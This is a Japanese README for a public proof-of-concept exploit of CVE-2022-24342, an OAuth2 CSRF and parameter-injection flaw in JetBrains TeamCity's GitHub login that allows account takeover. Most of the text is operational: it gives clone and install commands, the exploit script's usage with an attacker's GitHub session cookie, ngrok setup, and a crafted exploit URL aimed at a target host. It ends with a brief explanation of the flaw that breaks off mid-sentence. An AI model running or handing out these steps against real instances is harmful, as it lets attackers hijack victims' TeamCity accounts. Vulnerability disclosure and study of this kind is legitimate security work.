
CVE-2022-24342 の PoC: GitHub 認証における CSRF を介したアカウント乗っ取り
JetBrains TeamCity - GitHub 認証における CSRF によるアカウント乗っ取り (PoC)
攻撃者の GitHub アカウントで対象の TeamCity インスタンスにログインし、TeamCity の GitHub アプリケーションを認可済みにします。
インストールして実行:
$ git clone https://github.com/yuriisanin/CVE-2022-24342
$ cd CVE-2022-24342/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] -s S [-p P]
optional arguments:
-h, --help show this help message and exit
-s S GitHub user session
-p P Uvicorn port
$ python3 exploit.py -s {attackers_github_session_cookie}
ローカルマシンでエクスプロイトを実行する場合は、Ngrok または代替ツールが必要になる場合があります。
$ ngrok http 8000
homepage: "http://{exploit-host}:8000"
authorization callback url: "http://{exploit-host}:8000/callback"
http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}
デモ:
TeamCity は OAuth2 フロー中にクエリパラメータインジェクションに対して脆弱で、攻撃者がユーザーを任意の GitHub OAuth2 アプリケーションへリダイレクトし、有効な state パラメータを傍受して、任意の GitHub アカウントを被害者の TeamCity アカウントに接続できていました。
これは次の要因により可能でした:

